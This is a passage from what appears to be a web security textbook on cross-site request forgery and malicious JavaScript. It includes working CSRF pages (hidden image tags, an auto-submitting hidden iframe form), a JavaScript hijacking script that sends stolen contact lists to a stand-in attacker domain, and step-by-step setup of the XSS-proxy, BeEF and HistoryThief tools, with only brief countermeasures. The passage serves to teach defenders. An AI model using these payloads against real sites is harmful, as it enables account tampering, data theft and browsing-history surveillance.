best practice for web application developers has been to utilize properly scoped, 
unguessable cookies to authenticate that each request has come from a valid 
user. This is still a smart practice, but the fact that browsers automatically attach 
cookies in their cache to almost any cross-domain request enables CSRF attacks 
unless another authentication mechanism is used. Browser authentication 
mechanisms such as HTTP Auth, integrated Windows Authentication, and 
Client Certifi cate authentication are automatically employed on cross-domain 
requests as well, providing no protection against CSRF. Long session timeouts 
are also an issue that expose applications to CSRF, as a user can login in once 
and stay logged in for many days/weeks (allowing CSRF attacks to target 
application that allow long session timeouts). 
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• Are the parameters to valid requests submitted by other users predictable by the 
attacker? Along with predicting the command structure necessary to perform an 
action as another user, an attacker also needs to guess the proper parameters to 
make that action valid.

What Is the Level of Risk to an Application?
It is rare to find a web application in which the majority of HTTP requests could not be 
forged across domains, yet the actual risk to the owners and users of these applications 
vary greatly based upon a complicated interplay of technical and business variables. We 
would consider a bank application with a CSRF attack that takes thousands of attempts 
by an attacker to change a user’s password more dangerous than an attack that can add 
spam to a blog’s comments perfectly reliably. These are some of the factors that need to 
be taken into account when judging the danger of a CSRF attack:

• The greatest damage caused by a successful attack Generally CSRF 
vulnerabilities are endemic across an entire application if they exist at all. In this 
situation, it is important to identify the actions that, if falsifi ed by a malicious 
web site, can cause the greatest damage or result in the greatest fi nancial gain 
for an attacker.

• The existence of per-user or per-session parameters The most dangerous 
types of CSRF vulnerabilities can be used against any user with a valid cookie 
on the victim site. The GoatFriends application is a good example of this kind 
of fl aw: an attacker can use the same exact attack code for every single user, 
and no calculation or customization is necessary. These vulnerabilities can be 
deployed in a scattershot fashion to thousands of potential victims, through 
a mechanism such as a blog posting, spam e-mails or a defaced web site. In 
contrast, a CSRF vulnerability with any parameters that are individualized per 
user or session will need to be specifi cally targeted against a victim.

• The diffi culty in guessing per-user or per-session parameters If these 
parameters do exists, it is important to judge whether it is practical for an 
attacker either to derive these parameters from other information or guess the 
correct value. Hidden parameters to a request may include data that looks 
dense but is easily guessed, such as the system time at a millisecond resolution, 
to less dense data that is more diffi cult to guess, such as a user’s internal ID 
number. Information that looks highly random could be anything but, and 
in many situations unguessable information is not actually unpredictable, 
but rather unique (the time plus the date is a unique number, but not a 
unpredictable number). 

 Cross-Domain Attacks for Fun and Profi t
Now that we have explored the theoretical underpinnings of CSRF vulnerabilities and 
discovered a web application with vulnerable methods, let’s assemble both a basic and 
more advanced CSRF attack.
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Assembling a CSRF Attack
Although by definition CSRF attack “payloads” are customized for a specific action at a 
specific site, the structure of the attack and majority of the exploit code necessary to take 
advantage of these vulnerabilities is highly reusable. Here we will explore the steps an 
attacker can take to put together a CSRF attack.

Identify the Vulnerable Method We have already discussed some of the factors that go into 
judging whether a request against a web application may be easily forged across domains. 
The authentication method, predictability of parameter data, and structure of the request 
and the user population for the application all factor into the judgment of whether an 
attack is possible. Attackers will weigh this assessment against the benefits gained by 
faking the request. In the past, attackers have been motivated by the ability to steal 
money, the desire to cause mayhem, and even the prospect of adding thousands of 
unwitting users to their social network. The past experience of hundreds of companies 
who have been victimized through web application vulnerabilities teaches us that 
predicting the functionality of an application that might be considered worthwhile to 
attack.

For the purposes of discussion, let’s use the poorly written GoatFriend social network 
as our example. Suppose the button to close one’s account leads to a confirmation page, 
and that page contains a link like this:

<a href="https://www.goatfriends.com/cancel_acct.aspx?confirmed=Yes">Yes, 

I want to close my account.</a>

Discard Unnecessary Information, and Fake the Necessary Once an attacker finds the request 
that he wants to falsify, he can examine the included parameters to determine which are 
truly unnecessary and could cause detection or unpredictable errors when incorrectly 
fixed to the same value that was first seen by the attacker putting together the attack 
script. Often parameters are included in web application requests that are not strictly 
necessary and may be collected only for legacy or marketing analytics purposes.

In our experience, several common parameters can be discarded, such as site entry 
pages, user IDs from analytic packages, and tokens used to save state across multiple 
forms. A common parameter that may be required is a date or timestamp, which poses a 
unique problem for the attacker. A timestamp would generally not be used as a protection 
against CSRF attacks, but it could inadvertently prevent attacks using static links or 
HTML forms. Timestamps can be easily faked using a JavaScript-based attack, which 
generates a request dynamically either using the local victim’s system clock or by 
synchronizing with a clock controlled by the attacker. 

Craft Your Attack—Reflected CSRF As with cross-site scripting, an attacker can use two 
delivery mechanisms to get the CSRF code to execute in a victim’s browser: reflected and 
stored CSRF.
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As with XSS attacks, reflected CSRF is exploited by luring the unsuspecting victim to 
click a link or navigate to a web site controlled by the attacker. This technique is already 
well understood by fraudsters conducting phishing attacks, and the thousands of 
individuals who have fallen prey to these scams demonstrates the effectiveness of well-
crafted fraudulent e-mails and web sites in fooling a vast number of Internet users. 

The most basic reflected CSRF attack could be a single link performing a dangerous 
function embedded in a SPAM e-mail. In our GoatFriends example, suppose our attacker 
has a specific group of people that she personally knows and whom she wants to remove 
from the site. Her best bet might be to send HTML e-mails with a falsified From: address 
containing a link like this:

<HTML>

<h1>A message from GoatFriends!</h1>

George wants to be your friend, would you like to:

<a href="https://www.goatfriends.com/cancel_acct.aspx?confirmed=Yes"

>Accept?</a>

<a href="https://www.goatfriends.com/cancel_acct.aspxl?confirmed=Yes"

>Deny?</a>

</HTML>

After the user clicks either link, the user’s browser sends a request to cancel his or her 
account, automatically attaching any current cookies set for that site.

Of course, this attack relies on the assumption that the victim has a valid session 
cookie in his browser when he clicks the link in the attacker’s e-mail. Depending on the 
exact configuration of the site, this is a big assumption to make.

Some web applications, such as web mail and customized personal portals, will use 
persistent session cookies that are stored in the user’s browsers between reboots and are 
valid for weeks. Like many other social networking applications, however, GoatFriend 
uses two cookies for session authentication: a persistent cookie that lasts for months 
containing the user’s ID for basic customization of the user’s entry page and to prefill the 
username box for logins, and a nonpersistent cookie that is deleted each time the browser 
is closer, containing the SessionID necessary for dangerous actions. Our attacker knows 
this from her reconnaissance of the site, so she comes up with an alternative attack that 
guarantees that the victims will be authenticated when the request is made.

Many applications that require authentication contain an interstitial login page that is 
automatically displayed whenever a user attempts an action he or she is not authenticated 
for, or when a user leaves a session long enough to time out. Almost always, these pages 
implement a redirector, which gives the user a seamless experience by redirecting the 
browser to the requested resource once the user has authenticated. Our attacker, knowing 
that users are accustomed to seeing this page, recrafts her e-mail to use the redirector in 
her attack:

<h1>A message from GoatFriends!</h1>

George wants to be your friend, would you like to:
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<a href=" 

https://www.goatfriends.com/reauth.aspx?redir=cancel_acct.aspx%3Fconfirmed=Yes">

Accept?</a>

<a href=" 

https://www.goatfriends.com/reauth.aspx?redir=cancel_acct.aspx%3Fconfirmed=Yes">

Deny?</a>

</HTML>

The unsuspecting user, clicking either the Accept or Deny link, is then presented the 
legitimate GoatFriend interstitial login page. Upon logging in, the victim’s browser is 
redirected to the malicious URL, and the user’s account is deleted. 

Craft Your Attack—Stored CSRF An attacker could also use stored CSRF to perform this 
attack, which in the case of GoatFriend is quite easy. Stored CSRF requires that the 
attacker be able to modify the content stored on the targeted web site, much like XSS. 
Unlike XSS attacks, however, the attacker may not need to be able to inject active content
such as JavaScript or <object> tags, and she may be able to perform the attack even 
when limited by strict HTML filtering.

A common theme of Web 2.0 applications is the ability of users to create their own 
content and customize applications to reflect themselves. This is especially true of blogs, 
chatrooms, discussion forums, and social networking sites, which are completely based 
on user-generated content. Although it is extremely rare to find a site that intentionally 
allows a user to post JavaScript or full HTML, many sites do allow users to link to images 
within their personal profile, blog post, or forum message.

Our attacker, knowing that other users must be authenticated to view her page on 
GoatFriends, can add an invisible image tag to her profile pointing at the targeted URL, 
like this:

<img style="display:none" 

src="https://www.goatfriends.com/cancel_acct.aspx?confirmed=Yes">

With this simple image tag, our attacker has now guaranteed that every user that 
visits her profile will automatically delete his or her own profile, with no visible indication 
that the browser made the request on the user’s behalf. 

Cross-Domain POSTs
Popularity: 7

Simplicity: 4

Impact: 9

Risk Rating: 8

We have outlined several basic methods of performing a CSRF attack using a dangerous 
action that can be invoked with a single HTTP GET request. But what if the attacker 
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needs to perform an action carried out by the user submitting an HTML form, such as a 
stock trade, bank transfer, profile update, or message board submission?

The document specifying version 1.1 of the Hypertext Transfer Protocol (HTTP/1.1), 
RFC 2616, predicts the possibility of CSRF in this section specifying what HTTP methods 
may perform what actions.

Safe Methods
Implementors should be aware that the software represents the user in their 
interactions over the Internet, and should be careful to allow the user to be aware 
of any actions they might take which may have an unexpected signifi cance to 
themselves or others.

In particular, the convention has been established that the GET and HEAD methods 
SHOULD NOT have the signifi cance of taking an action other than retrieval. These 
methods ought to be considered “safe”. This allows user agents to represent other 
methods, such as POST, PUT and DELETE, in a special way, so that the user is made 
aware of the fact that a possibly unsafe action is being requested.

Naturally, it is not possible to ensure that the server does not generate side-effects as a 
result of performing a GET request; in fact, some dynamic resources consider that a 
feature. The important distinction here is that the user did not request the side-effects, 
so therefore cannot be held accountable for them.

Unfortunately for the safety of the World Wide Web, this section of the specification 
is both widely ignored and inaccurate in its implication that the POST method, which 
powers web browser actions such as file uploads and form submissions, represents the 
desire of a user instead of an automatic action taken on their behalf. 

Although recent advances in AJAX have greatly broadened the format in which data 
is uploaded to a web site using an HTTP POST method, by far the most common struc-
ture for HTTP requests that change state on the application is the HTML form. Although 
stylistic advances in web design have made contemporary HTML forms look signifi-
cantly different from the rectangular text field and gray submit button of the late 1990s, 
the format of the request as seen on the network looks the same. For example, a simple 
login form that looks like this

<FORM action="https://www.goatfriends.com/login.aspx" method="post">

    <LABEL for="loginname">Login name: </LABEL>

              <INPUT type="text" id="loginname"><BR>

    <LABEL for="password">Password: </LABEL>

              <INPUT type="text" id="password"><BR>

    <INPUT type="submit" value="Send"> 

</FORM>
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will result in an HTTP request that looks like this, upon the user clicking the submit 
button:

POST https://www.goatfriends.com/login.aspx HTTP/1.1

Host: www.goatfriends.com

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; 

en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4

Accept:text/xml,application/xml,application/xhtml+xml,text/

html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: GoatID=AFj84g34JV789fHFDE879

Content-Type: application/x-www-form-urlencoded

Content-length: 32

loginname=Bob&password=MyCatName

This request is easily falsified by sites in which an attacker controls the HTML and 
JavaScript, since basically no restrictions exist on the ability of one web page to submit a 
form to a completely different domain. However, these form submissions will generally 
result in the user’s web browser displaying the reply of the web server, which greatly 
reduces the stealthiness of any CSRF attack. 

The solution to this problem comes from the HTML “inline frame” element, or the 
<iframe>. iFrames are web documents included inside of a web page, and they can be 
sourced from any domain. iFrames can also be set to an arbitrary size or hidden, and 
since JavaScript can be used to create, fill, and complete HTML forms inside an iFrame, 
they are an excellent tool for an attacker looking for a method to hijack a user’s browser 
and submit arbitrary forms. 

A perfect example of a use for HTML forms on the GoatFriends site would be a user 
updating his profile information. Such a form may look like this:

<FORM action="https://www.goatfriends.com/updateprofile.aspx" method="POST">

      <LABEL for="firstname">First name: </LABEL>

              <INPUT type="text" id="firstname"><BR>

<LABEL for="lastname">Last name: </LABEL>

              <INPUT type="text" id="lastname"><BR>

<LABEL for="hometown">Your hometown: </LABEL>

              <INPUT type="text" id="hometown"><BR>

<LABEL for="motto">Personal motto: </LABEL>

              <INPUT type="text" id="motto"><BR>

<INPUT type="submit" value="Submit your profile changes"> 

</FORM>

An attacker can use reflected CSRF to change the profile of every user who visits her 
site with a valid GoatFriends cookie. The attack simply needs to create an iFrame using 
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JavaScript, create a form matching the structure of the targeted form inside of this 
iFrame, and perform a form submit. A rather immature attacker may create a malicious 
web page like this:

<html>

<body>

 <h2>You are Stinky!  If you don’t believe me, look at your GoatFriends

profile!</h2>

<!-- Create the malicious iframe, making sure that it does not display -->

  <iframe style="display: none" name="attackIframe">

  </iframe>

<!-- Define the form with the malicious values.  Notice how the target 

attribute allows to you easily assign the form the to iframe above.  -->

   <form style="display: none; visibility: hidden" target="attackIframe" 

action="https://www.goatfriends.com/updateprofile.aspx" method="POST" 

name="attackForm">

    <input type=hidden name="firstname" value="Stinky">

    <input type=hidden name="lastname" value="McStinkypants">

    <input type=hidden name="hometown" value="Stinkville, Stinktucky">

    <input type=hidden name="motto" value="Stinknito ergo sum">

  </form>

<!-- Submit the script using JavaScript.  This happens automatically on load 

without any user interference.  --> 

  <script>

    document.attackForm.submit();

  </script>

</body>

</html>

With this attack, any user who is lured to the attacker’s site will be dismayed to find 
that his personal profile on GoatFriends has been defaced, and that hundreds of his 
online friends are now referring to him as “Stinky McStinkypants.” This is a social 
disaster from which few Internet denizens could recover.

CSRF in a Web 2.0 World: JavaScript Hijacking
Popularity: 6

Simplicity: 4

Impact: 9

Risk Rating: 7
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The attacks described so far have been effective in applications stretching back since 
the beginning of the World Wide Web and can work unmodified in many AJAX-based 
applications. Another interesting issue affects only newer applications: cross-domain 
JavaScript stealing.

Now Coming Downstream: JavaScript
The traditional format of data returned to web browsers after an HTTP request is HTML, 
which may contain JavaScript, links to images and objects, and may define a completely 
new web page for the browser to render. In an AJAX application, JavaScript running 
from an initial page makes many small HTTP requests and receives data that is parsed 
and used to update only the portion of the web page that needs to change, instead of the 
entire application. This can result in a massive speed-up in the user’s browsing experience, 
and it can enable much greater levels of interactivity.

One popular format for this downstream data flowing from the web server to the 
user’s browser is the JavaScript array. Since AJAX JavaScript needs to order and parse 
data efficiently, it makes sense for developers to use a format that magically creates the 
proper data structures when downloaded and evaluated in the browser’s JavaScript 
interpreter. Generally, this request is made using the XMLHTTPRequest (XHR) object, 
and the data downloaded with that object is executed in the browser using the JavaScript 
eval() command.

The XHR object poses a special problem for CSRF attacks. Unlike HTML forms, 
images, or <a> links, the XHR object is allowed to speak only to the origin domain of a 
web page. This is a simple security precaution that prevents many other possible security 
holes from being discovered in web applications. However, there is a method to get the 
same results as a cross-domain XHR request when dealing with legal downstream 
JavaScript.

Let’s say the GoatFriends team has decided to add a browser-based instant messag-
ing client, and they have decided to maintain the contact list of users using AJAX code. 
This AJAX code makes HTTP GET and POST requests to GoatFriends and receives the 
contact list as JavaScript arrays. One GET request against https://im.goatfriends.com/
im/getContacts.asp is made to retrieve the user’s list of friends and their IM status 
and it returns an array like this:

[["online","Rich Cannings","rich@cannings.org"]

,["offline","Himanshu Dwivedi","hdwivedi@isecpartners.com"]

,["online","Zane Lackey","zane@isecpartners.com"]

,["DND","Alex Stamos","alex@isecpartners.com"]

]

In January 2006, Jeremiah Grossman discovered a method to steal information from 
a prominent webmail site and posted his technique to the WebSecurity mailing list at 
webappsec.org. In this posting, he outlined a method for malicious web sites to request 
the user’s information stream, encoded as JavaScript, from the webmail site using a 
simple cross-domain <script> tag. The cross-domain sourcing of JavaScript has been 

https://im.goatfriends.com/im/getContacts.asp
https://im.goatfriends.com/im/getContacts.asp
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allowed since the addition of JavaScript in the browser and reflects the notion among the 
architects of the major web browsers that JavaScript was meant to be a static language, 
not a method for representing arbitrary data types. The breaking of this convention is 
what leads to many of the benefits of AJAX applications.

In the case of our GoatFriends IM client, an attacker who wants to figure out the 
names and e-mails of other users’ IM contacts can use a malicious web site to request the 
JavaScript stream, parse the arrays, and send the results to herself. An example of this 
attack would look like this:

<html>

  <script>

    var IMList;

    // (Step 1) Rewrite the Array constructor to trap the incoming data and put it

    // into the IMList string.

    function Array() {

      var obj = this;

      var ind = 0;

      var getNext;

      getNext = function(x) {

        obj[ind++] setter = getNext;

        if(x) {

          var str = x.toString(); 

          {

            IMList += str + ", ";

          }

        }

      };

      this[ind++] setter = getNext;

    }

    function getIMContacts() {

      var notAnImage = new Image();

      // (Step 3) Use a fake image to send the IMList back to cybervillains.org

      notAnImage.src = "http://cybervillains.org/getContacts?contacts=" +

            escape(IMList);

    }

  </script>

  <!-- (Step 2) Call the AJAX request.  The downloaded code is automatically run and 

the JavaScript arrays it defines are created by our evil array constructor above -->

  <script src="https://im.goatfriends.com/im/getContacts.asp"></script>

  <body onload="getIMContacts()">

  </body>

</html>
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CSRF Protections
The best protection against the CSRF attacks shown in this chapter, which help mitigate 
cross-domain attacks, is the use a cryptographic token for every GET/POST request 
allowed to modify server-side data (as noted in a whitepaper written by Jesse Burns of 
iSEC Partners1). The token will give the application an unpredictable and unique param-
eter that is per-user/per-session specific, making the application’s controls structure 
different across users. This behavior makes control structure unpredictable for an 
attacker, reducing the exposure of CSRF. See the whitepaper for more information. 

SUMMARY
Since the invention of the World Wide Web, web pages have been allowed to interact 
with web servers belonging to completely different domains. This is a fundamental of 
the Web, and without links among domains the Internet would be a much less useful 
tool. However, the fact that users and autonomous script are both able to create HTTP 
requests that look identical creates a class of vulnerabilities to which most web applica-
tions are vulnerable by default. These vulnerabilities have existed for decades but are 
only now being explored by legitimate and malicious security researchers, and they have 
only become more interesting with the invention of AJAX web applications.

1 Available at www.isecpartners.com/files/XSRF_Paper_0.pdf.

www.isecpartners.com/files/XSRF_Paper_0.pdf
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JavaScript and Asynchronous JavaScript and XML (AJAX) are great technologies that 
have changed the way web applications are used on the Internet. While so much of 
the web is written in Java and JavaScript (and soon AJAX), the attack surface for 

  malicious users is also very wide. Malicious JavaScript, including malicious AJAX, 
has already started to do damage on the Internet. The things that make AJAX and 
JavaScript attractive for developers, including its agility, flexibility, and powerful 
functions, are the same things that attackers love about it.

This chapter is dedicated to the use of JavaScript and AJAX for malicious purposes. 
You will see how malicious JavaScript/AJAX can be used to compromise user accounts, 
attack web applications, or cause general disruption on the Internet. The following topics 
are included in the chapter:

• Malicious JavaScript

• XSS Proxy

• BeEF Proxy

• Visited URL Enumeration

• JavaScript Port Scanner

• Bypassing Input Filters

• Malicious AJAX

• XMLHTTPRequest

• Automated AJAX Testing

• Samy Worm

• Yammer Worm

MALICIOUS JAVASCRIPT
JavaScript has traditionally been considered a fairly harmless technology. Since users/
web developers generally notice JavaScript through invalid syntax or while creating 
visual effects while interacting with a site, it is often considered a rather benign web 
technology. In recent years, however, a number of tools have become available in 
JavaScript and research has been released that details just how damaging malicious 
JavaScript can be. These tools include proxies that allow an attacker to hijack control of a 
victim’s browser and port scanners that can map an internal network from the victim’s 
browser. Additionally, malicious JavaScript is not limited to overt attacks, as it can be 
used to breech a victim’s privacy by obtaining a user’s browsing history and browsing 
habits.

With the wide range of JavaScript attack tools now easily available, attacks that were 
previously launched at a network level can now be triggered inside a victim’s browser 
simply by the victim browsing a malicious web site. 
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XSS Proxy
Popularity: 2

Simplicity: 2

Impact: 9

Risk Rating: 4

In the case of Cross-Site Scripting (XSS) attacks, even security-conscious web devel-
opers often believe that the only point of an attack is to steal a victim’s valid session 
identifier. Once the session identifier is compromised, an attacker can assume the 
victim’s session and perform actions as the victim user. However, by using a XSS vulner-
ability to load a JavaScript proxy instead, far more serious attacks can occur, including 
the following:

• Viewing the sites displayed in the victim’s browser

• Logging the victim’s keystrokes in the browser

• Using victim’s browsers as a Distributed Denial of Service (DDoS) zombie

• Stealing the contents of the user’s clipboard

• Forcing the victim’s browser to send arbitrary requests

For a variety of reasons, the XSS approach is vastly superior to stealing a victim’s 
session cookies. Many restrictions can be overcome through the use of a XSS proxy. For 
example, the web site the victim is using may have additional security measures in place 
beyond just the session cookie. One such security measure might be tying a victim’s 
session to one particular IP address. In this case, if an attacker compromises the session 
cookie and tries to log in, he is prevented from doing so because he is not logging in from 
the required IP address. Or perhaps the site requires additional authentication from the 
user for certain actions in the form of a client certificate or additional password. If the 
attacker obtains only the session cookie but does not have this additional authentication 
information, he will not be allowed to perform his desired action. 

When an attacker loads a XSS proxy in a victim’s web browser, he gains full control 
over the victim’s browser. Full control is maintained by the JavaScript proxy in two ways: 
First, the proxy sends all of the victim’s requests to the attacker so that the victim can be 
easily monitored. Second, the proxy continuously listens for any commands from the 
attacker, which will be executed in the victim’s browser. Because an attacker can watch a 
user’s actions before sending any commands, even in the case of a XSS vulnerability that 
occurs before authentication has taken place, the attacker can simply wait for the victim 
to log in before performing any malicious actions. Furthermore, any additional security 
precautions the site may have, such as tying the victim’s session to an IP address or 
requiring a client certificate, are now useless. By forcing the victim’s browser to send the 
requests, it appears to the site as though the victim user actually made the request. Once 
a XSS proxy is loaded, an attacker can perform any of these attacks as long as the window 
that launched the script remains open.
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The first XSS proxy to be publicly released was XSS-proxy, by Anton Rager at Shmoocon 
in 2005. This tool, available at http://xss-proxy.sourceforge.net/, allows an attacker to 
monitor a user’s behavior and force the victim user’s browser to execute commands sent 
by the attacker. If an attacker discovers a XSS vulnerability in a target web application, he 
can then use the following steps to perform an attack with XSS-proxy:

 1. The attacker should download the XSS-proxy code and then host it on a UNIX 
web server under his control, such as www.cybervillians.com. This web server 
should have a copy of version 5 of the Perl interpreter (available at www.perl.org).

 2. Edit the XSS-Proxy-shmoo_0_0_11.pl fi le. Change the $PORT variable on line 
234 if port 80 is already in use. Change the $code_server variable on line 69 
to the domain name of the server, in this case http://www.cybervillians.com.

 3. Run XSS-proxy with the Perl interpreter by executing perl XSS-Proxy-
shmoo_0_0_11.pl. Note that root privileges are needed if the $PORT value is 
set to less than 1024. 

 4. Connect to /admin on the domain and port selected. For example, if $PORT
was set to 1234 and $code_server was set to htt://www.cybervillians.com, 
connect to http://www.cybervillians.com:1234/admin. 

 5. The administrative interface is now loaded. This page does not use JavaScript, 
so the attacker must manually refresh the page to look for victim connections. 
For an example, see Figure 4-1.

 6. Perform a XSS attack against the victim and inject the code <script
src=http://www.cybervillians.com:1234/xss2.js></script>
where http://www.cybervillians.com is the $code_server entered and 1234 
is the $PORT entered. 

 7. Refresh the administrative interface. The victim’s host should show up under 
the Clients section of the XSS_Proxy interface. The attacker can now either use 
the Fetch Document section to force the victim to fetch documents or use the 
Evaluate section to obtain JavaScript functions and variables from the client. 
See Figure 4-2.

 8. To force a victim to fetch a document, the attacker fi lls in the two text boxes in 
the Fetch Document section and clicks Submit. The text box on the left takes 
the victim’s session number. The session numbers start at 0 and increment by 1. 
Therefore, if the attacker wants to force the fi rst victim that connected to XSS-
proxy to fetch a document, a 0 would be added to the left text box. 

 9. Next, the right text book contains the URL the attacker wants the victim to 
fetch—for example, http://www.isecpartners.com. 

 10. Finally, the attacker clicks the Submit button and then clicks the Return To Main 
link.

 11. The attacker refreshes the main page and can view the results of the force 
document fetch by clicking the link when it appears in the Document Results 
section. 

www.cybervillians.com
www.perl.org
http://www.cybervillians.com
http://www.cybervillians.com
http://xss-proxy.sourceforge.net/
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BeEF Proxy
Popularity: 4

Simplicity: 5

Impact: 9

Risk Rating: 6

Since the XSS-proxy proof of concept tool was released, a number of more full-
featured tools have been released. One such tool is the BeEF browser exploitation, written 
by Wade Alcorn and available at www.bindshell.net/tools/beef. BeEF offers a number 
of improvements over the original XSS-proxy code. First, it simplifies command and 
control of compromised browsers via an easy-to-use administrative site that displays a 
list of compromised machines. The attacker can select any compromised victim and be 
presented with a list of information about the victim’s machine, such as browser type, 
operating system, and screen size. After the attacker has selected a victim in the BeEF 

Figure 4-1  The XSS-proxy administrative interface

www.bindshell.net/tools/beef
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administrative site, the attacker can select from a number of malicious actions to perform 
on the client. These actions range from the benign, such as generating a JavaScript alert 
in the victim’s browser, to malicious actions such as stealing the contents of the victim’s 
clipboard. Additionally, BeEF can enable keylogger functionality to steal any passwords 
or sensitive information that the user enters in to the browser. Last, BeEF can perform the 
traditional proxy action of allowing the attacker to force the victim’s browser to send 
requests.

Since BeEF was written to be a functional tool rather than a proof of concept, it is 
significantly easier to set up and use than the original XSS-proxy. BeEF consists of a few 
administrative pages that are written in the PHP Hypertext Preprocessor language as 
well as the malicious JavaScript payloads that will be sent to victims at the attacker’s 
discretion.

Figure 4-2  The XSS-proxy interface with a victim attached
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To use BeEF, an attacker follows these steps:

 1. The attacker downloads the BeEF proxy code and hosts it on a web server 
under her control and that has PHP installed—for example, http://www
.cybervillains.com.

 2. The attacker browses to the /beef directory where the BeEF proxy was unzipped 
on the web server—for example, http://www.cybervillains.com/beef/.

 3. The attacker is presented with an installation screen, where she needs to set 
the URL to which BeEF victims will connect. Typically, the attacker sets this 
to the default value of the site /beef. In this case, that would be http://www
.cybervillains.com/beef/.

 4. The attacker clicks the Apply Confi guration button and then the Finished 
button. BeEF is now fully set up and ready to control victims. Figure 4-3 shows 
an example of the post-installation administrative screen.

Figure 4-3  The BeEF proxy administrative interface

http://www.cybervillains.com/beef/
http://www.cybervillains.com/beef/
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 5. The attacker can now perform a XSS attack against the victim and inject the 
code <script src=http://www.cybervillians.com/beef/hook/
beefmagic.js.php></script>, where http://www.cybervillians.com is the 
attackers domain.

 6. The victim’s IP address should now show up automatically in the Zombie 
Selection table on the left side of the administrative page. From this point, the 
attacker can use any of the attacks in the Standard Modules menu section. 
Figure 4-4 shows an example.

JavaScript Proxies Countermeasure
Countermeasures for malicious JavaScript proxies are the same as those used for XSS 
attacks: input filtering and output validation. This is because JavaScript proxies are 
generally utilized once a XSS flaw has been identified in a target web application. An 
additional countermeasure for users is to use a browser plug-in such as NoScript (http://
noscript.net/) for Firefox, which disables JavaScript by default. 

Figure 4-4  The BeEF proxy with a victim attached

http://www.cybervillians.com
http://noscript.net/
http://noscript.net/
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Visited URL Enumeration 
Popularity: 5

Simplicity: 7

Impact: 8

Risk Rating: 7

In addition to hijacking control of a victim’s browser through the use of XSS proxies, 
malicious JavaScript can also be used to compromise a victim’s privacy significantly by 
determining the victim’s browsing history. In this attack, first published by Jeremiah 
Grossman, an attacker uses a combination of JavaScript and XSS to obtain a victim’s 
browsing history. The attacker uses CSS to set the color of visited URLs to a known color 
value. Then, JavaScript is used to loop through a list of URLs and examine at their color 
values. When a URL is found whose color value matches the known value, it is identified 
as one that the victim has visited and the JavaScript can send this information on to the 
attacker. 

The main limitation to this attack is that it requires the attacker to compile a list of 
URLs she wants to check beforehand. This is because the JavaScript code is not capable 
of reading the victim’s entire browsing history directly from the browser, but is capable 
of checking only against a hard-coded list of URLs. However, even this restriction does 
not truly limit the privacy invasion of this attack, because attackers are often looking for 
targeted information about a victim. For example, consider the case of a phisher wishing 
to see what bank a victim uses. With this attack, the attacker could build a list of several 
online banking institutions and then see which one the victim has visited. The attacker 
could then target future phishing e-mails to the client based on this information.

This attack is relatively easy for an attacker to perform. Zane Lackey of iSEC Partners 
has published a tool based on Jeremiah Grossman’s proof of concept code. This tool can 
be used by an attacker using the following steps:

 1. Download the tool, HistoryThief.zip, available at www.isecpartners.com/tools
.html, and host it on a web server under the attacker’s control—such as www
.cybervillains.com/historythief.html.

 2. The attacker edits historythief.html and modifi es the attackersite variable 
on line 62 to point to the web server under her control. When a victim views 
the page, any URLs visited that are in the predefi ned list will be sent to the 
attacker’s web server address. The attacker can then read her web server logs to 
see the victim’s IP address and matched history URLs.

 3. If the attacker wants, she can modify the predefi ned list of URLs contained 
in the web sites array. This is the list of URLs for which the victim’s browser 
history will be checked.

 4. The attacker then forces the victim to view the www.cybervillains.com/
historythief.html URL through an attack such as a phishing e-mail or a browser 
vulnerability.

www.isecpartners.com/tools.html
www.isecpartners.com/tools.html
www.cybervillains.com/historythief.html
www.cybervillains.com/historythief.html
www.cybervillains.com/historythief.html
www.cybervillains.com/historythief.html
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 5. Finally, the attacker views her web server logs and obtains the victim’s browser 
history. As shown in Figure 4-5, the victim’s browser issues a request to the 
attacker’s web server, which requests /historythief?. This is followed by any 
URLs that were previously defi ned in HistoryThief that the victim has already 
visited (in this case, HistoryThief shows that the victim has previously viewed 
www.fl ickr.com).

Visited URL Enumeration Countermeasure
Countermeasures for this attack are straightforward. A user can protect herself by 
disabling JavaScript with a plug-in such as NoScript (http://noscript.net/) for Firefox. 

JavaScript Port Scanner
Popularity: 3

Simplicity: 5

Impact: 6

Risk Rating: 5

JavaScript attack tools do not always focus on attacking the user but can instead use 
a compromised user to attack other targets of interest. For example, one particular bit of 

Figure 4-5  HistoryThief

www.flickr.com
http://noscript.net/
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malicious JavaScript uses the browser as a tool to portscan the internal network. This is 
a significant variation from traditional portscans, because modern networks are virtually 
guaranteed to be protected from external portscans by a firewall and use of Network 
Address Translation (NAT). Often the reliance on a firewall leads to the internal network 
being left unhardened against attack. By using JavaScript to cause a victim’s browser to 
perform the portscan, the scan will be conducted from inside the firewall and will provide 
an attacker with otherwise unavailable information. 

Originally discussed in research by Jeremiah Grossman and Billy Hoffman, malicious 
JavaScript can be used in a number of ways to conduct a portscan of internal machines. 
Regardless of which way the scan is conducted, the first step in a JavaScript portscan is 
determining which hosts are up on the internal network. While this was traditionally 
performed by pinging hosts with Internet Control Message Protocol (ICMP), in the 
browser it is accomplished by using HTML elements. By using an HTML <img> tag 
pointing at sequential IP addresses on the network and the JavaScript onload and 
onerror functions, malicious JavaScript inside the browser can determine which hosts 
on the internal network are reachable and which are not. Once the available hosts are 
enumerated, actual portscanning of the hosts can begin. Scanning for internal web 
servers (TCP port 80) is the simplest exercise, as it can be completed by using the HTML 
<script> tag and the JavaScript onerror event. By using the <script> tag in a form 
such as <script src="http://targethost">, an attacker can determine whether a 
web server is running on the targethost. This is due to the fact that if HTML is returned 
(that is, if a web server is up), the JavaScript interpreter will throw an error. However, if 
no web server is running, a timeout will occur. 

While both ping scans and web server scans are easily performed, scanning for other 
network ports changes per browser and per version. For example, Firefox limits 
connectively to certain low-numbered ports. As such, reliable tools exist only for 
performing ping scans and web server scans. 

Multiple tools can be used to perform portscanning in JavaScript. SPI Dynamics 
released a proof of concept tool that can be used to scan for and identify web servers. An 
implementation that is capable of scanning multiple ports was released by Petko Petkov 
and is available at www.gnucitizen.org/projects/javascript-port-scanner/portscanner.js. 

Unlike attacks with other tools, this attack can be performed even if the victim has 
disabled JavaScript in her browser. Jeremiah Grossman published research that 
demonstrated that by simply using the HTML <link> and <img> tags, a network could 
be portscanned for web servers without the use of JavaScript. This attack is performed 
by loading a Cascading Style Sheet (CSS) through the <link> tag, which points to the IP 
